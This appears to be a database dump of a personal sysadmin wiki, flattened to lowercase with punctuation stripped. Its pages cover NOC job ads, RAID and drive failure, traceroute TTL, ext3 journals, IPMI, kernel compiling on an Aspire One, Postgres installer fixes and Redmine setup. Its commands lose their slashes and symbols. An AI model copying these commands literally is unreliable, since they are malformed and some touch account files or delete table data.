position individuals must be prepared to work a rotating schedule of shifts that may include night weekend and holiday work network operation center noc technician ii network operation center noc technician ii network operation center noc technician ii detail-oriented team members to join our network operations center who demonstrate exceptional customer service and analytical skills weu8e28099re looking for people who can effectively interact with a wide range of customers who have varying levels of technical proficiency required skills 2-3 years tcp ip experience including ip addressing subnet masking and the basics of ip routing intermediate level of knowledge and troubleshooting windows servers solaris linux plesk cpanel and virtuozzo plan implement maintain keep consistent secure and troubleshoot mixed ms linux networks train other noc personnel as needed on technical or non-technical matters ability to multi-task many requests in an organized and timely manner proven excellence in verbal written and interpersonal communication skills with a strong emphasis on customer support service maintain a professional level of follow up and attention to detail superior organizational skills high school diploma or ged required desired skills junior level linux professional lpic-1 certification advanced level linux professional lpic-2 certification ccna mcsa this is a shift-based position individuals must be prepared to work a rotating schedule of shifts that may include night weekend and holiday work network operation center noc technician iii network operation center noc technician iii network operation center noc technician iii detail-oriented team members to join our network operations center who demonstrate exceptional customer service and analytical skills weu8e28099re looking for people who can effectively interact with a wide range of customers who have varying levels of technical proficiency required skills 3-5 years tcp ip experience including ip addressing subnet masking and the basics of ip routing dns ssh and mysql advanced level of knowledge and troubleshooting windows servers solaris linux plesk cpanel and virtuozzo plan implement maintain keep consistent secure and troubleshoot mixed ms linux networks train other noc personnel as needed on technical or non-technical matters ability to multi-task many requests in an organized and timely manner proven excellence in verbal written and interpersonal communication skills with a strong emphasis on customer support service maintain a professional level of follow up and attention to detail superior organizational skills high school diploma or ged required desired skills junior level linux professional lpic-1 certification advanced level linux professional lpic-2 certification senior level linux professional lpic-3 certificaton ccnp mcse this is a shift-based position individuals must be prepared to work a rotating schedule of shifts that may include night weekend and holiday work '),(146,'hard drive failures',' in my work in a data center the subject of drive failure predicting such and the trends in raid levels and the real world protection offered by raid 5 is a frequent topic raid 5 once a veritable holy grail and savior to all is loosing is luster as drive sizes increase now with 1 tb drives in an array with many many more sectors the probability of an unrecoverable read error during a raid rebuild increases resulting in a failure to rebuild the array thus the protection offered by raid 5 decreases as drive sizes increase here is a link to one of the better papers i have seen on the subject of drive failure and predictive failure in hpc and data center environments this paper won paper of the year at usenix fast\'07  disk failures in the real world what does an mttf of 1 000 000 hours mean to you bianca schroeder and garth a gibson carnegie mellon university  some other great references on drive failure and how raid 5 is quickly becoming very ineffective in providing adequate protection as drive sizes and therefor read errors increase are and here is a good google paper as well '),(147,'open suse 11 notes',' browser plugins firefox plugins are installed in usr lib browser-plugins no mplayer or xine mozilla extensions are installed by default to enable browser multimedia support install either mplayerplug-in or xine-browser-plugin if you really want to compile the mplayer plugin from source heaven forbid kmplayer is the one for konqueror and is a basic front end to xine mplayer for kde '),(148,'solaris training and information',' a free class showing some highlights of solaris 10 including dtrace zfs containers and solaris security features zfs administration guide '),(149,'traceroute ping and ttl values',' ttl values vary wildly depending on different operating systems thus when you ping an address your ttl on replies may not be what you expected here is an example with a traceroute from one server to another root tardis # traceroute 72 184 100 200 traceroute to 72 184 142 161 72 184 100 200 30 hops max 38 byte packets 1 gi3-2 as02 tpa sagonet net 66 118 149 1 0 679 ms 0 620 ms 0 588 ms 2 ve10 core01a tpa sagonet net 65 110 32 1 0 636 ms 0 420 ms 0 397 ms 3 ve40 core01 atl sagonet net 63 246 159 42 12 254 ms 12 252 ms 13 992 ms 4 border2 ge1-1 sagonet-1 acs002 pnap net 70 42 180 149 13 418 ms 13 198 ms 13 011 ms 5 core4 ge3-0-bbnet2 acs pnap net 64 94 0 70 12 947 ms 12 952 ms 13 265 ms 6 pos1-1 gw9 atl1 alter net 63 122 231 197 13 758 ms 14 481 ms 13 410 ms 7 103 at-1-0-0 xr2 atl1 alter net 152 63 85 102 13 610 ms 13 464 ms 34 163 ms 8 0 so-1-0-0 xl2 atl1 alter net 152 63 86 101 13 944 ms 13 639 ms 13 646 ms 9 0 so-7-0-0 xt2 atl4 alter net 152 63 86 109 18 069 ms 15 436 ms 17 476 ms 10 0 so-7-0-0 br2 atl4 alter net 152 63 81 149 15 491 ms 15 577 ms 15 432 ms 11 oc48-9-1 car2 atlanta1 level3 net 4 68 127 177 13 977 ms 14 242 ms 14 958 ms 12 ae-62-51 ebr2 atlanta2 level3 net 4 68 103 29 20 158 ms ae-72-52 ebr2 atlanta2 level3 net 4 68 103 61 17 789 ms ae-62-51 ebr2 atlanta2 level3 net 4 68 103 29 18 156 ms 13 ae-1-6 bar1 tampa1 level3 net 4 69 137 113 32 476 ms 32 309 ms 32 838 ms 14 ae-0-11 bar2 tampa1 level3 net 4 69 137 110 37 577 ms 32 241 ms 32 164 ms 15 ae-7-7 car2 tampa1 level3 net 4 69 133 41 32 530 ms 32 339 ms 34 117 ms 16 roadrunner car2 tampa1 level3 net 4 79 146 2 33 509 ms 32 522 ms 34 473 ms 17 gig10-0 tampfledc-rtr2 tampflrdc rr com 65 32 13 65 32 755 ms 33 439 ms gig14-0 tampfledc-rtr2 tampflrdc rr com 65 32 13 34 32 278 ms 18 gig3-0-0 tampflc01-ubr1 tampabay rr com 65 32 c d 39 156 ms 38 617 ms 35 761 ms this shows 18 hops in addition to this at the receiving end there are two other routers behind nat thus a total of 20 router hops now going the the other way with a ping we can see the ttl is 45 callandor # ping timelordz com ping timelordz com 66 118 149 130 56 84 bytes of data 64 bytes from timelordz com 66 118 149 130 icmp_seq 1 ttl 45 time 43 3 ms 64 bytes from timelordz com 66 118 149 130 icmp_seq 2 ttl 45 time 42 4 ms 64 bytes from timelordz com 66 118 149 130 icmp_seq 4 ttl 45 time 52 0 ms now the million dollar question - why is the ttl 45 because it is set to 65 by the receiving linux server and decrements by 1 for each router on the return hop until its destination is reached in this case 20 hops later this then also show you there are two invisible routers behind nat that are decriminting the ttl this can then be used to show the presence of routes you might be unaware of the problem though is that the ttl set by the system which creates the icmp echo replies can vary - it is 64 on linux systems but it could also be 255 or other values additionally each router itself can further alter the ttl you can check your default ttl on most linux systems by cat proc sys net ipv4 ip_default_ttl a list of various operating systems and their default ttl values can be found at but in best case scenarios the above behavior could be observed now what happens if you manually set the ttl value on your ping to something below the actual hop count callandor # ping -t 14 timelordz com ping timelordz com 66 118 149 130 56 84 bytes of data from gige4 ds-b 03 tpa sagonet net 66 118 133 214 icmp_seq 1 time to live exceeded from gige4 ds-b 03 tpa sagonet net 66 118 133 214 icmp_seq 1 time to live exceeded from gige1 ds-b 03 tpa sagonet net 65 110 32 48 icmp_seq 2 time to live exceeded c --- timelordz com ping statistics --- 2 packets transmitted 0 received 3 errors 100 packet loss time 1007ms as you can see as the ttl of 18 exceeds the ttl of 14 specified in the ping the packets ttl expire before they make it back to you '),(150,'kernel drive status messages',' sometime you see kernel message such as oct 8 00 49 24 server kernel hdc drive_cmd status 0x51 driveready seekcomplete error oct 8 00 49 24 server kernel hdc drive_cmd error 0x04 drivestatuserror oct 8 00 49 24 server kernel ide failed opcode was 0xb0 these do not necessarily indicate a bad had drive this can mean several things but is usually always non critical if smartctl does not show any smart attributes that indicate poor drive health these messages can be ignored read here run smrtctl and investigate see the article on smart drive diagnostics driveready fine not an error seekcomplete error asked for a sector that does not exist or received a command not understood drivestatuserror return code that an error occurred the following link is an analysis of this issue showing the kernel source code that contains these strings and showing these errors are often caused by buggy ide drives or other drive issues drive received a command it did not understand etc '),(151,'remove and create ext3 journal',' summary sometimes the journal on an ext3 file system gets corrupted this can cause problems when an fsck is run etc it may be necessary to remove the ext3 journal which converts the file system to ext2 and then recreate the journal doing so requires only three commands #first lets nuke the ext3 journal and make the file system ext2 tune2fs -o has_journal dev hdax #now run an fsck on the file system which is now ext2 fsck ext2 -f dev hdax #now re-create the journal making the file system ext3 once again tune2fs -j dev hdax if you create a journal on a mounted file system a journal file will be created a completely invisible journal file is created if you create a journal on an unmounted file system all about ext2 all about ext2 all about ext2 please note some people prefer ext2 and so if you add or remove a journal permanently make sure you update etc fstab to reflect the new file system type - otherwise you will have issues with the converted partitions mounting correctly as they will be specified as the wrong type you might be asking why would anyone ever want and ext2 file system from the faq link below this is what one of the developers andreas dilger said about it  in order to ensure that ext3 can safely resume an unlink after a crash it actually zeros out the block pointers in the inode whereas ext2 just marks these blocks as unused in the block bitmaps and marks the inode as deleted and leaves the block pointers alone data recovery data recovery data recovery as you can see this is a substantial difference in how file are deleted and the ease of being able to recover deleted data now does that mean data deleted from ext3 is gone forever well no - but the job is made far more difficult your only chance may be through a file carving tool such as scalpel which is file system independent your mileage may vary when attempting to recover deleted data from any file system especially ext3 a good faq on ext3 and the above steps can be found here '),(152,'hard drive performance',' hdparm settings hdparm settings hdparm settings sata drive combined mode sata drive combined mode sata drive combined mode why does my ide hard drive run at 3mb s while sata runs at full speed why does my ide drive or cd-rom not use dma while sata works just fine kernel drive caching kernel drive caching kernel drive caching clearing inode and page caches on disk you can fill the cache byt doing a simply dd or running ls -lr and reading in a big stream of data of overwrite the kernel and drive controller cache then perform your drive performance test also if you manually want to specify what drive cache memory to free you can use to free pagecache echo 1 proc sys vm drop_caches to free dentries and inodes echo 2 proc sys vm drop_caches to free pagecache dentries and inodes echo 3 proc sys vm drop_caches as this is a non-destructive operation and dirty objects are not freeable the user should run sync first in order to make sure all cached objects are freed drive configuration settings drive configuration settings drive configuration settings dumpe2fs dev hda1 less hdparm -i dev hda hdparm -i dev hda '),(153,'crafty chess compiler benchmarks',' intro intro intro after discovering this interesting macles blog article discussing using the intel c compiler for linux to compile the crafty chess engine i wanted to replicate this authors steps and benchmarks the basic premise is to compile crafty with both the intel c compiler and gcc with similar cflags and benchmark the results i am comparing my results to macles using i believe identical hardware platforms the aspire one i am compiling and testing on my new acer aspire one a new entry in the ultra mobile pc class of tiny notebooks i have been waiting to buy one until they were available with mutli-threaded processors and the aspire one has the intel atom cpu crafty provides a perfect experimental application as it compiles quickly and runs with extremely high load and if compiled with support will run multi-threaded please see intel c compiler for linux for a general article on how to obtain and set up the intel c compiler for linux first the rest assumes this is already installed and the environment set up to use the icc compiling crafty and cflags compiling crafty and cflags compiling crafty and cflags note icc version 12 now supports the documented switch -xsse3_atom for the atom this article on macles site has some info on benchmarks with this optimization i downloaded the crafty source from and modified the makefile to alter the cflags running make by default will attempt to make-icc using the intel c compiler profile however with the default make file options i could not get it to compile correctly i changed the makefile to linux-icc make target linux cc icc cxx icc cflags \' cflags -o3 -xl \' cxflags \' cflags -o3 -xl \' ldflags \' ldflags -lstdc \' opt \' opt -dtest -dinline32 -dcpus 2 \' crafty-make the above cflags -o3 -xl are intended to compile with high optimization -03 and using the cflag for the atom architecture -xl however including the -xl resulted in this error egtb cpp 5206 col 9 remark loop was vectorized icc -lstdc -o crafty crafty o egtb o -lm crafty o in function validateposition \' crafty c text 0x7926 undefined reference to __svml_irem4\' crafty o in function displaychessboard \' crafty c text 0x1bfb3 undefined reference to __svml_irem4\' make 3 crafty error 1 make 3 leaving directory mnt home downloads crafty-22 1\' make 2 crafty-make error 2 make 2 leaving directory mnt home downloads crafty-22 1\' make 1 linux-icc error 2 make 1 leaving directory mnt home downloads crafty-22 1\' make default error 2 now by removing the -xl flag it compiles fine however my performance running crafty in both single and multi-threaded mode fell far short of the results obtained at the blog site i was using for a guide also the same error occurs with trying to use the -ipo flag which is discussed in the intel paper  optimizing applications with intelu8c2ae c and fortran compilers for windows linux and mac os version 10 x  available here the lack of inter procedural optimization in running crafty is likely a large performance hit benchmarking benchmarking benchmarking the benchmark capability is build into crafty but appears missing from any official documentation i could find documentation and manual page was not included in the source code for version 21 but version 18 documentation and man page is available here - though the bench function is omitted benchmarking crafty was done by running the compiled client and then entering root localhost crafty-22 1 # crafty crafty v22 1 1 cpus white 1 bench running benchmark total nodes 50402631 raw nodes per second 413780 732288 total elapsed time 121 810000 white 1 smpmt 2 max threads set to 2 white 1 bench running benchmark total nodes 56588055 raw nodes per second 597866 402536 total elapsed time 94 650000 after setting smpmt 2 and running the benchmark again two threads were visible in top and the total nodes were significantly higher at 56588055 so while it was running with multi-threaded support even without compiling with -xl it was still significantly lower than macles which obtain a result of approx 6700000 - nodes per second my results compiling with the intel compiler without -xl were slightly under the gcc results macles obtained on the same aspire one hardware platform so it would appear getting this to work with the -xl or -ipo flags is significant i will update this as i learn more about resolving the compile issues and post further benchmarks xboard integration xboard integration xboard integration as i like chess and might want to actually play using the optimized crafty engine i checked out xboard however under fedora core 8 on the aspire one xboard was unable to find crafty as the engine even if specifying the -fd path to it starting xboard like this xboard -fcp crafty -fd mnt home downloads crafty-22 1 crafty & would result in error writing to first chess program broken pipe and failed to find the first chess program crafty on localhost no such file or directory despite the fact the path was correct and the crafty binary was there to resolve this i just copied the compiled crafty binary to a location in my path for example usr local bin and xboard was able to find it odd it does not despite specifying the directory with -fd but oh well resources resources resources '),(154,'intel c compiler for linux',' image intel-logo pngu8e2808e left image linux-logo pngu8e2808e icc vs gcc icc vs gcc icc vs gcc the gcc compiler on linux is practically ubiquitous is is available in every distro distro\'s repository and most people use it compiling software when binaries are not available however there are other options for compilers for linux available and to my surprise i recently learned the intel c and fortran professional compilers for linux are free almost as in beer for non-commercial use and are fully functional while interesting why would you bother using another compiler gcc works and is open source all the way baby so why not just use it as you always have speed lots of it the intel c compiler icc optimizations can at times yield a 30 performance gain when applications are compiled with them further my new acer aspire one has its own intel cflag of -xl which while supported in icc is not at this time recognized by gcc where to get it where to get it where to get it pop on over to the intel site to grab your free c compiler for ia32 ia64 and itanium platforms look around and find some other goodies too like vtune and threadchecker installation on linux system is very straight forward previously i believe the icc was an rpm requiring use of alien for debian user etc but now they are tar gz files with a single install sh script to run - easy as pie using icc using icc using icc pay attention to the documentation included for icc available at the intel icc home site and also available directly here especially the section on setting up the compiler environment in addition to running the set up script usualy with source bin iccvars sh you may have to modify any make file to ensure the cc cflags and other options are set correctly as the intel compiler and the gcc use different options and cflags dipping your toe dipping your toe dipping your toe for myself i keyed off macles blog and decided to set loose the dogs of compiler war using a perfect test application a chess engine to learn about the different compiler flags and benchmark results check out his blog and you may find my article crafty chess compiler benchmarks for some additional pointers add an ide add an ide add an ide why stop there go ahead and add a side order of an integrated development environment perhaps eclipse c c development toolkit which integrates with the intel c compiler installing eclipse c c is as easy as downloading it and running the install script be patient it takes a few minuets while really more suited to larger c projects it is worth playing around with if you have not used it before my limited programming skills make vi just fine but i look forward to learning more about eclipse and how to use it '),(155,'mysql table recovery to the extreme',' from the sago networks kb article here first log into phpmyadmin and click on the database then click the checkbox next to the table scroll down and select a repair it will probably tell you ok whether it worked or not so go back to the same screen and run a check to see if it worked screen shots still crashed corrupted log into ssh stop the mysql server and change directory to the directory where the mysql data file for that table is stored cd var lib mysql database_name use myisamchk to repair the table myisamchk table_name myi myisamchk -r table_name myi you can use myisamchk without any options to check the table from the command-line if there are no errors go ahead and start mysql back up and you are done still crashed corrupted this is a more extreme method of recovery and should only be used if you\'ve tried everything else first make a backup of the data files now log into mysql as root and perform these commands mysql -u root -p mysql use database_name; mysql set autocommit 1; mysql truncate table table_name; mysql exit; now copy the myd file that you made a backup of back to the original data directory for the database and then run myisamchk -r table_name myi that command will rebuild the table structure from the data file as long as the data file itself is not corrupt then you should be able to rebuild and have everything work '),(156,'ipmi console access',' dell blinking lights how do you find out what those blinking orange lights on the dells mean how do you turn those alert lights off this is actually extremely simple and  any  noc tech can easily investigate what events caused those indicator lights to come on review the logs and then if appropriate turn them off the console access and ipmi commands below tell you exactly how to do this it takes only minutes ipmi rocks the house ipmi rocks the house ipmi rocks the house ipmi allows you to monitor many aspects of server operations and status as well as issue various control commands this can be done regardless of the state of the os - even if the system is locked in a kernel panic you can still access ipmi as it is a separate service processor remote access remote access remote access just for your information normally you configure impi in bios by giving the server an ip to use on its ipmi interface which is actually an invisible nic used exclusively for this purpose this nic then shares one of the physical ethernet ports for example the dell servers have two ethernet ports and two ethernet interfaces - but they also have a third ethernet interface that is used for ipmi and this shares the first ethernet port of course you can configure ipmi so you can remotely connect to the server and issue ipmi commands reboot view the error log view various monitors for temperature fans cpu voltages etc but this requires configuring ipmi on the server and then connecting to it over the network you can even run a remote shell session by connecting via ipmi using serial over lan this is not particularly difficult and there is a separate detailed wiki on how to do this here ipmi configuration and monitoring console access console access console access even easier because setting up remote ipmi access involves several steps and can be time consuming you can also employ direct local console access using impitool this allows you to run ipmi commands locally and even enter an interactive ipmi shell etc setting this up takes just a few minutes and is  very  easy there are several ways you can do so outlined below  ways to use ipmitools  centos 5 2 script centos 5 2 script centos 5 2 script i have created a script that runs on centos 5 2 to help with this you simply wget the script from wget this downloads and installs all the rpms you need loads the kernel modules needed and gives you a pretty summary screen of what to do it is extremely easy to use you can install this on any box running centos 5 or higher and it should work fine centos 4 6 and lower need additional packages so in that case see the pxe solution below this allows you to check and clear the impi logs and make ipmi configuration changes without ever having to reboot the server nice eh pxe live environment ipmi pxe live environment ipmi pxe live environment ipmi our normal pxe linux live environment is rip and unfortunately this does not support ipmi however you can also use the \'rescuecd\' option from the first pxe menu this environment has the ipmitool binaries installed and the kernel modules you need to use it however they are not loaded by default to set this up to use ipmi is extremely use once you are at the command prompt simply type #modprobe ipmi_si #modprobe ipmi_devintf you can run ipmi commands directly or enter the interactive shell - see below for examples ubuntu live cd ubuntu live cd ubuntu live cd you should also be able to use a ubuntu live cd and install openipmi if needed and load the same kernel modules as above though i\'ve not tested however since you can use the pxe rescuecd environment it is suggested you use that rather than an actual physical cd those are sooooo last year ipmi commands ipmi commands ipmi commands here are some handy ipmi commands to help you get started there are a lot of things you can do with ipmi but these are some ones we are most likely to use remember you can run commands one at a time like these or you can just enter an interactive ipmi shell and use that use \' \' for help in this shell and each of its modes and sub modes ipmitool -i open chassis power # server power status ipmitool -i open sel list # show the server event log ipmitoo - i open sel clear # clear the log turns off light on dells ipmitool -i open sdr # view all sensors a lot of info here ipmitool -i open shell # interactive shell session you might want to use this opensolaris opensolaris opensolaris why can\'t i connect using ipmitool on opensolaris using root opensolaris # ipmitool -i bmc -u root chassis status could not open bmc device no such file or directory you use the bmc interface in solaris but the driver for this is restricted for a work around install the bmc files from a sxce or sxde or nevada disto or ip the interface in the bmc manager and connect with the lan interface such as ipmitool -i lan -h sps_ip_address -u root which comes from this bug report additional solaris ipmi info can be foune here '),(157,'samba server installation',' here are some notes and sites on installing and configuring a samba server for linux and here is a complete o\'reilly book on line with complete coverage of samba and of course the official site is something like '),(158,'acer aspire one',' good stuff to know good stuff to know good stuff to know  linplus kernel source   atom processor specs the kernel source from acer is available at unmodified full kernel source  ethernet driver  i managed to nuke the ethernet driver when i recompiled the stock acer kernel and had to find the driver somewhere on line should you need it the realtek 8101e driver is here media r8101-1 009 00 tar bz2  aircrack  the 9x builds do not seem to work correctly however the 1 0 ones do  madwifi drivers   root localhost scripts # madwifi-unload unloading wlan_tkip unloading wlan_ccmp unloading wlan_xauth unloading wlan_wep unloading wlan_acl unloading wlan_scan_sta unloading ath_pci unloading ath_rate_atheros unloading ath_dfs unloading wlan unloading ath_hal sysstat utilities sysstat utilities sysstat utilities home page is you need to download and install this from source and pidstat is not in the version supplied by the fedora repos package & update dependencies package & update dependencies package & update dependencies i have to say the aspire one pretty much sucks at updating out of the box the user will find they run one update but on the next round they get hit with an error dependency issues will continue to plague the user as there are a variety of packages made by acer on the system - however acer has no yum repo and therefor there are inevitable conflicts between their custom packages and the standard fedora repos you will find that on a brand new aspire one each round of updates you attempt to do will result in one of the following dependency issue to resolve for example when updating either via yum or synaptic you will inevitably receive these errors which will prevent all further system updates  round one  updates may complete successfully now run the update again and you will find  round two  now you will see this error file usr share desktop-directories internet directory from install of gnome-menus-2 20 1-1 fc8 conflicts with file from package xfdesktop-acer-lp-1652 mcs_patched file usr share desktop-directories settings directory from install of gnome-menus-2 20 1-1 fc8 conflicts with file from package xfdesktop-acer-lp-1652 mcs_patched the solution is to use rpm to install rpm versions of gnome-menus redhat-menus you may also get a warning that networkmanger update failed but let the update complete and the other packages will be updated  round three  now you may get something like notification-daemon-xfce conflicts with notify-daemon missing dependency gecko-libs 1 8 1 18 is needed by package yelp this is resolved following the instructions at macles site sudo rpm -e --nodeps firefox sudo yum install firefox sudo ln -s usr lib firefox-2 0 0 16 usr lib mozilla sudo yum install yelp  networkmanager  if you end up with the network manager icon disappearing try updating the networkmanger packages with the latest from the repo replacing the one it shipped with this seems to work fine however the new version does not seem to remember encryption keys yum update networkmanager now kill any old version you have running then restart neworkmanager and nm-applet pgrep networkmanager kill pid found above networkmanager start nm-applet &2 dev null & kernel compiling kernel compiling kernel compiling a great guide can be found at some other good hints are at yum install gcc ncurses-devel powertop sysstat cp boot config_whatever working directory make oldconfig make menuconfig ln -f include asm-i386 asm-offsets h include asm asm-offsets h this is needed to get the kernel to build correctly kernel options to select config_debug_kernel y config_debug_info y kernel hacking - compile the kernel with debug info - this is not needed kernel hacking - collect kernel timers statictics kernel hacking - magic sysreq keys processor type and features - irq balancing n note you can also add noirqbalance to your boot loader line or turn this off here the above are all for powertop config_task_io_accounting y general setup - export task process statistics through netlink - enable all 3 options for pidstat device drivers - usb support- usb serial converter support m usb generic serial driver y mct single port serial driver y provides mct_u232 used by many usb serial dongles device drivers - usb support- usb selective suspend resume and wakeup y once your kernel options are configured you can run make and then make install note that for modules only if you want you can just run make modules if you want to make a specific module you can specify the relative path to the module while being in the kernel source directory - for example root localhost linux-2 6 23 9 # make m drivers usb serial building modules stage 2 modpost 2 modules root localhost linux-2 6 23 9 # pwd root kernel-dev linux-2 6 23 9 or another approach callandor usr src linux-2 6 25 18-0 2 # make -c lib modules uname -r build m drivers usb storage unusual_devs h or make -c lib modules uname -r build m pwd make-c lib modules uname-r build m pwd make -c lib modules uname -r build m pwd modules_install make-c lib modules uname-r build m pwd modules_install from 2b 255b_module_ 2bdrivers usb storage unusual_devs 255d 2berror 2b2 26hl 3den 26client 3dfirefox-a 26rls 3dorg mozilla en-us official 26hs 3dgpz 26sa 3dx kernel compilation doh kernel compilation doh kernel compilation doh in the course of compiling the kernel i have discovered several points through trial and error supplemented with google searches here are some things to be aware of that are common issues  config file  to use an existing config copy it to your kernel source directory and rename it config - note the dot if you name it config and run  make oldconfig  to use the old configuration file you in fact will not be using it alternatively you can open the proper config file inside menuconfig - see load an alternative configuration file at the end of the menu i  highly  recommend setting the local version in menuconfig general settings this will keep all kernel modules for your new kernel in their own directory in lib modules - this makes it very easy to keep things separated if you mess up your modules in your new kernel no worries - you will still have you old kernel with all it it\'s modules wifi lan etc all still working  after running make  i got confused on what was really happening when you installed the compiled kernel this article really help to clarify things once make completes you will have an uncompressed non-bootable image vmlinux in the top of your kernel source directory and a compressed bootable kernel bzimage in arch i386 boot bzimage when you run  make install  what actually happens is that the bootable bzimage file is simply copied over to boot and simply renamed vmlinuz you can see here that these two files are actually exactly the same root localhost linux-2 6 23 9 # md5sum boot vmlinuz 38465b48039bfaaf59b0ac49076ece79 boot vmlinuz root localhost linux-2 6 23 9 # md5sum home user downloads linux-2 6 23 9 arch i386 boot bzimage 38465b48039bfaaf59b0ac49076ece79 home user downloads linux-2 6 23 9 arch i386 boot bzimage root localhost linux-2 6 23 9 # md5sum vmlinux b4725b417ca7ab16a5cef61b7014cf3e vmlinux if you attempt to simply copy over the vmlinux and boot that it of course will not work you could manually move bzimage to boot and boot that notice the default kernel in linpus on the aspire one is in fact bzimage you can also tell if the file is an actual kernel by running file on it root localhost linux-2 6 23 9 # file boot vmlinuz boot vmlinuz linux kernel x86 boot executable ro-rootfs root_dev 0x801 swap_dev 0x1 normal vga root localhost linux-2 6 23 9 # file vmlinux vmlinux elf 32-bit lsb executable intel 80386 version 1 sysv statically linked not stripped you can also look at the install sh script in home user downloads linux-2 6 23 9 arch i386 boot install sh make the mct_u232 kernel module make the mct_u232 kernel module make the mct_u232 kernel module these are the full steps to compile and install the usb module mct_u232 used by many usb to serial converters 1012 unzip linux-2 6 23 9lw zip 1013 cd linux-2 6 23 9 1014 ls -lhat config 1015 cp boot config_080627 config 1016 ls -lhat config 1017 make oldconfig 1023 make m drivers usb serial #to make only the usb modules 1024 make modules #to make them all 1029 cp drivers usb serial mct_u232 ko lib modules 2 6 23 9lw kernel drivers usb serial 1030 depmod -a 1031 modprobe mct_u232 with the module now loaded run udevmonitor and then plug in your usb serial converter the final udev messages will list what device has been assigned to it such as dev ttyusb0 or similar dmesg will also show this '),(159,'drive performance tests',' iozone iozone iozone bonnie the main page is  information on interpretation of results  hdparm hdparm hdparm dd dd dd '),(332,'linux repositories','  rhel5  wget wget wget  remi\'s  '),(333,'vmware esxi',' power off unresponsive vm # vmware-cmd -l # vmware-cmd stop # vmware-cmd getstate # vmware-cmd stop hard still being feisty # ps -auxwww grep -i vmx # kill editing vmx files editing vmx files editing vmx files '),(334,'enterprisedb postgres',' when trying to install this in suse there are a few points where the installer hangs or has missing dependencies the main issues i found and their solutions follow these may well apply to other distros and some of the required libraries are not typically installed and the install procedure itself is less than optimum postgresplus-8 4 1-2-linux-x64 bin installer issues postgresplus-8 4 1-2-linux-x64 bin installer issues postgresplus-8 4 1-2-linux-x64 bin installer issues run the installer with postgresplus-8 4 1-2-linux-x64 bin --mode unattended --debuglevel 4 this will likely fail and result in su incorrect password solution to that 1 the postgres user account that gets created is locked out and this will cause subsequent scripts which run to fail with an incorrect password error to fix this modify etc shadow and change the to a - you should now be able to su postgres with no error after examining the log it also seems that initcluser sh was failing and from that log we get the following line to install opt postgresplus 8 4ss installer server initcluster sh postgres postgres postgres opt postgresplus 8 4ss opt postgresplus 8 4ss data 5433 default su incorrect password it fails for the same reason as covered above once the postgres user account is corrected it should install okay runstackbuilder sh issues runstackbuilder sh issues runstackbuilder sh issues once the above is installed you can run stackbuilder to install various modules and updates however this has a few libs missing opt postgresplus 8 4ss scripts runstackbuilder sh no graphical su sudo program could be found on your system this window must be kept open while stack builder is running opt postgresplus 8 4ss stackbuilder bin stackbuilder error while loading shared libraries libpng12 so 0 cannot open shared object file no such file or directory libpng12 so 0 can be resolved by running zypper install libpng12-devel the next missing library was opt postgresplus 8 4ss stackbuilder bin stackbuilder error while loading shared libraries libjpeg so 62 cannot open shared object file no such file or directory the missing libjpeg so 64 error can be resolved by getting and installing this rpm wget after which you will need to add the following line to etc ld so conf opt lsb lib64 assuming you are using the 64 bit of course and then update libraries with ldconfig you can ensure you have all the other needed libs installed with ldd opt postgresplus 8 4ss stackbuilder bin stackbuilder once you do run runstackbuilder sh again and it should start the gui  pg_installdir error  if you get this error opt postgresplus 8 4ss scripts runstackbuilder sh line 39 pg_installdir stackbuilder bin stackbuilder no such file or directory you need to re-run usr local src postgresplus-8 4 1-2-linux-x64 bin --mode unattended and then re-run opt postgresplus 8 4ss scripts runstackbuilder sh other links other links other links logs logs logs note the installer logs to tmp install-postgresql log '),(335,'university of tennessee',' potential degree programs potential degree programs potential degree programs innovative computing lab innovative computing lab innovative computing lab other links other links other links '),(336,'linux documentation sites',' '),(337,'redmine project management',' intro and installing i found this install guide to be very helpful a few other install links are given below but this was the primary one i used the not-so-very helpful official install guide is here a history of my install is here media redmine_installhistory tar gz note an alternative is to use the bitnami installer which should install the complete stack needed this might be a good idea considering the significant number of requirements you will have to sort through otherwise you can obtain the bitnami installer here and the readme for that installer is here this is they way to go however currently the ldap modules are not included but they will be in the next version redmine is written in ruby and has quite a few dependencies if installing on rhel 5 you will need to use a variety of repos to get the necessary versions you will need wget wget wget wget  repos  the repos i needed were root esdss-collab drupal # ls etc yum repos d epel repo ius-dev repo ius-testing repo remi repo rpmforge repo ruby repo epel-testing repo ius repo mirrors-rpmforge rhel-debuginfo repo rpmforge-testing repo the ruby repo was actually centos-testing and was needed for certain ruby packages root esdss-collab drupal # cat etc yum repos d ruby repo ruby name ruby baseurl gpgcheck 0 enabled 0 ldap ldap ldap setup guide is http www redmine org wiki 1 redmineldap here configure ldap using the below settings you need to have the apache ldap modules loaded host ldapx1 ornl gov port 636 ldaps yes base dn on-the-fly user creation yes starting stopping redmine starting stopping redmine starting stopping redmine redmine can be run and managed in a variety of ways through the webrick ruby driven web server the default in our case using apache with the passenger module which allows apache to run rails apps see more http www redmine org wiki 1 howto_configure_apache_to_run_redmine here using the mongrel framework  production server   to restart redmine yes it it\'s really this dumb root edss-collab redmine # pgrep ruby 3889 root edss-collab redmine # kill -9 3889 root edss-collab redmine # pgrep ruby now cd to the app directory e g opt redmine root edss-collab redmine # ruby script server -e production -d booting webrick rails 2 3 5 application starting on root edss-collab redmine # root edss-collab redmine # etc init d httpd restart stopping httpd ok starting httpd ok you may also have to restart etc init d thin as well prior to re-launching webrick also you might have to do the above more than once  dev server  for the dev instance i created a wrapper script to start all the services opt rubystack-2 1-0 start_redmine sh init scripts init scripts init scripts for mongrel a sample init script can be found http rubyforge org forum forum php thread_id 27348&forum_id 7505 here email config email config email config basic setup info is http www redmine org wiki redmine emailconfiguration here modify the email yml file to fit your needs note the config by default has two uncommented entries for the production server which can cause an ambiguous error when you launch the app if you get this error load\' syntax error on line 68 col 0 production \' then verify your email yml as per this http www redmine org boards 2 topics 13923 bug note2 on debian the email yml must be in etc redmine  external smtp  sending mail to ornl smtp server the config file needs only # outgoing email settings production delivery_method smtp smtp_settings address smtp ornl gov port 25 domain ornl gov authentication login user_name password development delivery_method smtp smtp_settings address smtp ornl gov port 25 domain ornl gov authentication login user_name password  sendmail option  the option to use sendmail on the localhost is the easiest however this will only work for internal email address the proper config is to direct mail to the central lab smtp facility as above newer build support the async_sendmail and async_stmp options see http redmineblog com articles asynchronous-email-delivery here herefor more detail the simplest config is therefor # sendmail command # production delivery_method async_sendmail locale info locale info locale info locale definitions and defined labels for objects etc can be found in opt redmine config locales en yml subversion subversion subversion the steps to set up the repo are trivial however there are some things to note authentication this requires only a user name and pw to connect to the repo these credential are stored in the redmine database in plain text we could simple add a local htpasswd user for this purpose so that a ucams login is not used basically redmine contacts the repo and checks out the contents then 